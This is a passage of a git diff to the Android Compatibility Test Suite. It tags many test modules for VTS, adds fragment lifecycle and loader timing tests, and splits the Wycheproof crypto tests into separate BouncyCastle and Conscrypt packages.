    "android.permission2.cts.ProtectedBroadcastsTest#testSendProtectedBroadcasts"
diff --git a/tests/filesystem/Android.mk b/tests/filesystem/Android.mk
index 97f24b0..9dca6af 100644
--- a/tests/filesystem/Android.mk
+++ b/tests/filesystem/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_PACKAGE_NAME := CtsFileSystemTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := 16
 
diff --git a/tests/fragment/Android.mk b/tests/fragment/Android.mk
index 0225b21..1785097 100644
--- a/tests/fragment/Android.mk
+++ b/tests/fragment/Android.mk
@@ -40,7 +40,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/fragment/AndroidTest.xml b/tests/fragment/AndroidTest.xml
index 690bdc2..4e563d9 100644
--- a/tests/fragment/AndroidTest.xml
+++ b/tests/fragment/AndroidTest.xml
@@ -14,7 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Configuration for app.usage Tests">
-    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFragmentTestCases.apk" />
diff --git a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
index 00ec95b..c1fd9d8 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentLifecycleTest.java
@@ -46,6 +46,7 @@
 import android.test.suitebuilder.annotation.MediumTest;
 import android.util.Pair;
 import android.view.LayoutInflater;
+import android.view.Menu;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.Window;
@@ -956,6 +957,112 @@
         });
     }
 
+    @Test
+    public void optionsMenu() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, null);
+            FragmentManager fm = fc.getFragmentManager();
+
+            InvalidateOptionFragment fragment = new InvalidateOptionFragment();
+            fm.beginTransaction()
+                    .add(android.R.id.content, fragment)
+                    .commit();
+            fm.executePendingTransactions();
+
+            Menu menu = mock(Menu.class);
+            fc.dispatchPrepareOptionsMenu(menu);
+            assertTrue(fragment.onPrepareOptionsMenuCalled);
+            fragment.onPrepareOptionsMenuCalled = false;
+            FragmentTestUtil.destroy(mActivityRule, fc);
+            fc.dispatchPrepareOptionsMenu(menu);
+            assertFalse(fragment.onPrepareOptionsMenuCalled);
+        });
+    }
+
+
+    /**
+     * When a retained instance fragment is saved while in the back stack, it should go
+     * through onCreate() when it is popped back.
+     */
+    @Test
+    public void retainInstanceWithOnCreate() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, null);
+            FragmentManager fm = fc.getFragmentManager();
+
+            OnCreateFragment fragment1 = new OnCreateFragment();
+
+            fm.beginTransaction()
+                    .add(fragment1, "1")
+                    .commit();
+            fm.beginTransaction()
+                    .remove(fragment1)
+                    .addToBackStack(null)
+                    .commit();
+
+            Pair<Parcelable, FragmentManagerNonConfig> savedState =
+                    FragmentTestUtil.destroy(mActivityRule, fc);
+            Pair<Parcelable, FragmentManagerNonConfig> restartState =
+                    Pair.create(savedState.first, null);
+
+            fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, restartState);
+
+            // Save again, but keep the state
+            savedState = FragmentTestUtil.destroy(mActivityRule, fc);
+
+            fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, savedState);
+
+            fm = fc.getFragmentManager();
+
+            fm.popBackStackImmediate();
+            OnCreateFragment fragment2 = (OnCreateFragment) fm.findFragmentByTag("1");
+            assertTrue(fragment2.onCreateCalled);
+            fm.popBackStackImmediate();
+        });
+    }
+
+    /**
+     * A retained instance fragment should go through onCreate() once, even through save and
+     * restore.
+     */
+    @Test
+    public void retainInstanceOneOnCreate() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            FragmentController fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, null);
+            FragmentManager fm = fc.getFragmentManager();
+
+            OnCreateFragment fragment = new OnCreateFragment();
+
+            fm.beginTransaction()
+                    .add(fragment, "fragment")
+                    .commit();
+            fm.executePendingTransactions();
+
+            fm.beginTransaction()
+                    .remove(fragment)
+                    .addToBackStack(null)
+                    .commit();
+
+            assertTrue(fragment.onCreateCalled);
+            fragment.onCreateCalled = false;
+
+            Pair<Parcelable, FragmentManagerNonConfig> savedState =
+                    FragmentTestUtil.destroy(mActivityRule, fc);
+
+            fc = FragmentTestUtil.createController(mActivityRule);
+            FragmentTestUtil.resume(mActivityRule, fc, savedState);
+            fm = fc.getFragmentManager();
+
+            fm.popBackStackImmediate();
+            assertFalse(fragment.onCreateCalled);
+        });
+    }
+
     private void executePendingTransactions(final FragmentManager fm) throws Throwable {
         mActivityRule.runOnUiThread(new Runnable() {
             @Override
@@ -1162,4 +1269,33 @@
             }
         }
     }
+
+    public static class InvalidateOptionFragment extends Fragment {
+        public boolean onPrepareOptionsMenuCalled;
+
+        public InvalidateOptionFragment() {
+            setHasOptionsMenu(true);
+        }
+
+        @Override
+        public void onPrepareOptionsMenu(Menu menu) {
+            onPrepareOptionsMenuCalled = true;
+            assertNotNull(getContext());
+            super.onPrepareOptionsMenu(menu);
+        }
+    }
+
+    public static class OnCreateFragment extends Fragment {
+        public boolean onCreateCalled;
+
+        public OnCreateFragment() {
+            setRetainInstance(true);
+        }
+
+        @Override
+        public void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            onCreateCalled = true;
+        }
+    }
 }
diff --git a/tests/fragment/src/android/fragment/cts/LoaderActivity.java b/tests/fragment/src/android/fragment/cts/LoaderActivity.java
index 9c69f75..b1a8add 100644
--- a/tests/fragment/src/android/fragment/cts/LoaderActivity.java
+++ b/tests/fragment/src/android/fragment/cts/LoaderActivity.java
@@ -23,6 +23,8 @@
 import android.view.ViewGroup;
 import android.widget.TextView;
 
+import java.util.concurrent.CountDownLatch;
+
 /**
  * This Activity sets the text when loading completes. It also tracks the Activity in
  * a static variable, so it must be cleared in test tear down.
@@ -30,6 +32,7 @@
 public class LoaderActivity extends RecreatedActivity {
     public TextView textView;
     public TextView textViewB;
+    public CountDownLatch loadFinished = new CountDownLatch(1);
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -59,6 +62,7 @@
         @Override
         public void onLoadFinished(Loader<String> loader, String data) {
             textView.setText(data);
+            loadFinished.countDown();
         }
 
         @Override
@@ -82,3 +86,4 @@
         }
     }
 }
+
diff --git a/tests/fragment/src/android/fragment/cts/LoaderTest.java b/tests/fragment/src/android/fragment/cts/LoaderTest.java
index 2eb897e..fbf4258 100755
--- a/tests/fragment/src/android/fragment/cts/LoaderTest.java
+++ b/tests/fragment/src/android/fragment/cts/LoaderTest.java
@@ -96,10 +96,13 @@
     @Test
     public void startWhenReused() throws Throwable {
         LoaderActivity activity = mActivityRule.getActivity();
+        activity.waitForResume(mActivityRule);
+        assertTrue(activity.loadFinished.await(1, TimeUnit.SECONDS));
 
         assertEquals("Loaded!", activity.textView.getText().toString());
 
         activity = FragmentTestUtil.recreateActivity(mActivityRule, activity);
+        assertTrue(activity.loadFinished.await(1, TimeUnit.SECONDS));
 
         // After orientation change, the text should still be loaded properly
         assertEquals("Loaded!", activity.textView.getText().toString());
diff --git a/tests/fragment/src/android/fragment/cts/RecreatedActivity.java b/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
index 82b32a9..833d532 100644
--- a/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
+++ b/tests/fragment/src/android/fragment/cts/RecreatedActivity.java
@@ -15,16 +15,21 @@
  */
 package android.fragment.cts;
 
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
 import android.os.Bundle;
+import android.support.test.rule.ActivityTestRule;
 
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
-public class RecreatedActivity extends Activity {
+public class RecreatedActivity extends FragmentTestActivity {
     // These must be cleared after each test using clearState()
     public static RecreatedActivity sActivity;
     public static CountDownLatch sResumed;
     public static CountDownLatch sDestroyed;
+    private boolean mIsResumed;
 
     public static void clearState() {
         sActivity = null;
@@ -41,15 +46,42 @@
     @Override
     protected void onResume() {
         super.onResume();
+        mIsResumed = true;
         if (sResumed != null) {
             sResumed.countDown();
         }
     }
 
     @Override
+    protected void onPause() {
+        super.onPause();
+        mIsResumed = false;
+    }
+
+    @Override
     protected void onDestroy() {
         super.onDestroy();
         if (sDestroyed != null) {
             sDestroyed.countDown();
         }
-    }}
+    }
+
+    public void waitForResume(ActivityTestRule<? extends Activity> rule) throws Throwable {
+        if (mIsResumed) {
+            return;
+        }
+        if (sResumed != null) {
+            assertTrue(sResumed.await(1, TimeUnit.SECONDS));
+        } else {
+            rule.runOnUiThread(() -> {
+                if (!mIsResumed) {
+                    sResumed = new CountDownLatch(1);
+                }
+            });
+            if (sResumed != null) {
+                assertTrue(sResumed.await(1, TimeUnit.SECONDS));
+                sResumed = null;
+            }
+        }
+    }
+}
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
index 5093e6f..0c1ed5f 100644
--- a/tests/inputmethod/Android.mk
+++ b/tests/inputmethod/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MULTILIB := both
 
diff --git a/tests/jank/Android.mk b/tests/jank/Android.mk
index 8e2348b..16954f2 100644
--- a/tests/jank/Android.mk
+++ b/tests/jank/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_PACKAGE_NAME := CtsJankDeviceTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     compatibility-device-util \
diff --git a/tests/jank/AndroidTest.xml b/tests/jank/AndroidTest.xml
index 3f8b16d..9c409a5 100644
--- a/tests/jank/AndroidTest.xml
+++ b/tests/jank/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Jank test cases">
     <option name="test-suite-tag" value="cts" />
+    <option name="not-shardable" value="true" />
     <option name="config-descriptor:metadata" key="component" value="graphics" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/jdwp/Android.mk b/tests/jdwp/Android.mk
index 7469190..debf41c 100644
--- a/tests/jdwp/Android.mk
+++ b/tests/jdwp/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_JAVA_LIBRARY)
 
diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml
index 192ba78..72d26b1 100644
--- a/tests/jdwp/AndroidTest.xml
+++ b/tests/jdwp/AndroidTest.xml
@@ -39,5 +39,8 @@
         <option name="known-failures" value="/expectations/jdwp-known-failures.txt" />
         <option name="runtime-hint" value="16m" />
 
+        <!-- Temporary work around to avoid running android.test.AndroidTestCase. -->
+        <!-- TODO(64541592) - remove once AndroidTestCase is not statically included. -->
+        <option name="exclude-filter" value="android.test.AndroidTestCase" />
     </test>
 </configuration>
diff --git a/tests/jdwp/runner/device-side/Android.mk b/tests/jdwp/runner/device-side/Android.mk
index f04bf4a..fa7b294 100644
--- a/tests/jdwp/runner/device-side/Android.mk
+++ b/tests/jdwp/runner/device-side/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_MODULE_TAGS := optional
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_JAVA_LIBRARY)
diff --git a/tests/jdwp/runner/host-side/Android.mk b/tests/jdwp/runner/host-side/Android.mk
index 702174c..32abf79 100644
--- a/tests/jdwp/runner/host-side/Android.mk
+++ b/tests/jdwp/runner/host-side/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_JAVA_RESOURCE_DIRS := resources
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
index cc03798..f4021b2 100644
--- a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
+++ b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/LibcoreTest.java
@@ -18,6 +18,7 @@
 
 import com.android.tradefed.config.Option;
 import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.testtype.AndroidJUnitTest;
 import com.android.tradefed.util.ArrayUtil;
@@ -48,6 +49,16 @@
         if (!mCoreExpectations.isEmpty()) {
             addInstrumentationArg(INSTRUMENTATION_ARG_NAME, ArrayUtil.join(",", mCoreExpectations));
         }
+
+        if (getTestPackageName() != null && getClassName() != null) {
+            // If the test-package is set, we should ignore --class, --method it might cause issue
+            // in more complex libcore suites.
+            setClassName(null);
+            setMethodName(null);
+            CLog.d(
+                    "Setting --class and --method to null to avoid conflict with --test-package "
+                            + "option.");
+        }
         super.run(listener);
     }
 }
diff --git a/tests/leanbackjank/Android.mk b/tests/leanbackjank/Android.mk
index 5b5f053..ec114f3 100644
--- a/tests/leanbackjank/Android.mk
+++ b/tests/leanbackjank/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsLeanbackJankTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     compatibility-device-util \
diff --git a/tests/leanbackjank/AndroidTest.xml b/tests/leanbackjank/AndroidTest.xml
index d87cefa..31504b6 100644
--- a/tests/leanbackjank/AndroidTest.xml
+++ b/tests/leanbackjank/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS LeanbackJank test cases">
     <option name="config-descriptor:metadata" key="component" value="tv" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLeanbackJankTestCases.apk" />
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index 3925c2a..3fc685d 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_PACKAGE_NAME := CtsLeanbackJankApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_RESOURCE_DIR := \
     $(TOP)/frameworks/support/v17/leanback/res \
diff --git a/tests/libcore/javautilcollections/Android.mk b/tests/libcore/javautilcollections/Android.mk
index fc90888..e2bcef5 100644
--- a/tests/libcore/javautilcollections/Android.mk
+++ b/tests/libcore/javautilcollections/Android.mk
@@ -29,6 +29,6 @@
     guava-testlib-20.0-prebuilt
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_PACKAGE_NAME := CtsLibcoreJavaUtilCollectionsTestCases
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/libcore/jsr166/Android.mk b/tests/libcore/jsr166/Android.mk
index 2a9b870..9e11815 100644
--- a/tests/libcore/jsr166/Android.mk
+++ b/tests/libcore/jsr166/Android.mk
@@ -34,7 +34,7 @@
 LOCAL_PROGUARD_ENABLED := disabled
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
index 7b5d733..81b44d3 100644
--- a/tests/libcore/luni/Android.mk
+++ b/tests/libcore/luni/Android.mk
@@ -24,8 +24,8 @@
     core-tests \
     cts-core-test-runner \
     mockito-target-minus-junit4 \
-    tzdata_shared2-tests \
-    tzdata_update2-tests
+    time_zone_distro-tests \
+    time_zone_distro_installer-tests
 
 # Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
@@ -38,7 +38,8 @@
 LOCAL_DX_FLAGS := --multi-dex
 
 LOCAL_PROGUARD_ENABLED := disabled
-
+# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62341677
+LOCAL_DONT_DELETE_JAR_META_INF := true
 LOCAL_JNI_SHARED_LIBRARIES := libjavacoretests libsqlite_jni libnativehelper_compat_libc++ libc++
 
 # Include both the 32 and 64 bit versions of libjavacoretests,
@@ -46,7 +47,7 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
 # continuous build configurations, so it's not referenced in AndroidTest.xml
diff --git a/tests/libcore/ojluni/Android.mk b/tests/libcore/ojluni/Android.mk
index a6e378f..be709be 100644
--- a/tests/libcore/ojluni/Android.mk
+++ b/tests/libcore/ojluni/Android.mk
@@ -30,6 +30,9 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_JACK_FLAGS := --multi-dex native
 
+# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62231394
+LOCAL_DONT_DELETE_JAR_META_INF := true
+
 LOCAL_PROGUARD_ENABLED := disabled
 
 # Include both the 32 and 64 bit versions of libjavacoretests,
@@ -37,7 +40,7 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
diff --git a/tests/libcore/okhttp/Android.mk b/tests/libcore/okhttp/Android.mk
index 98ed152..91e9ef5 100644
--- a/tests/libcore/okhttp/Android.mk
+++ b/tests/libcore/okhttp/Android.mk
@@ -40,7 +40,7 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
index 3b20cfa..6ef3c03 100644
--- a/tests/libcore/runner/Android.mk
+++ b/tests/libcore/runner/Android.mk
@@ -33,6 +33,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/Android.mk b/tests/libcore/wycheproof-bc/Android.mk
new file mode 100644
index 0000000..801feac
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/Android.mk
@@ -0,0 +1,49 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofBCTestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-core-test-runner \
+    wycheproof
+
+LOCAL_JAVA_LIBRARIES := bouncycastle
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under,src)
+
+LOCAL_DEX_PREOPT := false
+LOCAL_JACK_FLAGS := --multi-dex native
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+# Include both the 32 and 64 bit versions of libjavacoretests,
+# where applicable.
+LOCAL_MULTILIB := both
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/AndroidManifest.xml b/tests/libcore/wycheproof-bc/AndroidManifest.xml
new file mode 100644
index 0000000..15c5fd5
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.wycheproof.bouncycastle">
+    <uses-permission android:name="android.permission.INTERNET" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.libcore.cts.wycheproof.bouncycastle"
+                     android:label="CTS Libcore Wycheproof Bouncy Castle test cases" />
+
+</manifest>
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
new file mode 100644
index 0000000..08238ce
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Libcore Wycheproof Bouncy Castle test cases">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!-- this has just the instrumentation which acts as the tests we want to run -->
+        <option name="test-file-name" value="CtsLibcoreWycheproofBCTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.testtype.LibcoreTest" >
+        <option name="package" value="android.libcore.cts.wycheproof.bouncycastle" />
+        <!-- The individual test cases don't work unless they're run in the
+             context of one of the suites, so we have to limit the test
+             infrastructure to only running the test suites. -->
+        <option name="test-package" value="android.libcore.cts.wycheproof" />
+        <option name="instrumentation-arg" key="listener"
+                value="com.android.cts.runner.CtsTestRunListener" />
+        <option name="instrumentation-arg" key="filter"
+                value="com.android.cts.core.runner.ExpectationBasedFilter" />
+        <option name="core-expectation" value="/knownfailures.txt" />
+        <option name="runtime-hint" value="10m"/>
+        <option name="test-timeout" value="600000" />
+    </test>
+</configuration>
diff --git a/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java
similarity index 100%
rename from tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java
rename to tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java
diff --git a/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/BouncyCastleTest.java b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
similarity index 100%
rename from tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
rename to tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
diff --git a/tests/libcore/wycheproof/Android.mk b/tests/libcore/wycheproof/Android.mk
index c14da89..652e36c 100644
--- a/tests/libcore/wycheproof/Android.mk
+++ b/tests/libcore/wycheproof/Android.mk
@@ -16,15 +16,13 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofTestCases
+LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofConscryptTestCases
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     cts-core-test-runner \
     wycheproof
 
-LOCAL_JAVA_LIBRARIES := \
-    bouncycastle \
-    conscrypt
+LOCAL_JAVA_LIBRARIES := conscrypt
 
 # Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
@@ -44,7 +42,7 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
diff --git a/tests/libcore/wycheproof/AndroidManifest.xml b/tests/libcore/wycheproof/AndroidManifest.xml
index 09b9da1..765c677 100644
--- a/tests/libcore/wycheproof/AndroidManifest.xml
+++ b/tests/libcore/wycheproof/AndroidManifest.xml
@@ -15,14 +15,14 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.wycheproof">
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.wycheproof.conscrypt">
     <uses-permission android:name="android.permission.INTERNET" />
     <application>
         <uses-library android:name="android.test.runner" />
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.libcore.cts.wycheproof"
-                     android:label="CTS Libcore Wycheproof test cases" />
+                     android:targetPackage="android.libcore.cts.wycheproof.conscrypt"
+                     android:label="CTS Libcore Wycheproof Conscrypt test cases" />
 
 </manifest>
diff --git a/tests/libcore/wycheproof/AndroidTest.xml b/tests/libcore/wycheproof/AndroidTest.xml
index 2d303d2..b5874fd 100644
--- a/tests/libcore/wycheproof/AndroidTest.xml
+++ b/tests/libcore/wycheproof/AndroidTest.xml
@@ -13,15 +13,15 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<configuration description="Config for CTS Libcore Wycheproof test cases">
+<configuration description="Config for CTS Libcore Wycheproof Conscrypt test cases">
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <!-- this has just the instrumentation which acts as the tests we want to run -->
-        <option name="test-file-name" value="CtsLibcoreWycheproofTestCases.apk" />
+        <option name="test-file-name" value="CtsLibcoreWycheproofConscryptTestCases.apk" />
     </target_preparer>
     <test class="com.android.compatibility.testtype.LibcoreTest" >
-        <option name="package" value="android.libcore.cts.wycheproof" />
+        <option name="package" value="android.libcore.cts.wycheproof.conscrypt" />
         <!-- The individual test cases don't work unless they're run in the
              context of one of the suites, so we have to limit the test
              infrastructure to only running the test suites. -->
diff --git a/tests/netlegacy22.api/Android.mk b/tests/netlegacy22.api/Android.mk
index 836bd9b..86395142 100644
--- a/tests/netlegacy22.api/Android.mk
+++ b/tests/netlegacy22.api/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
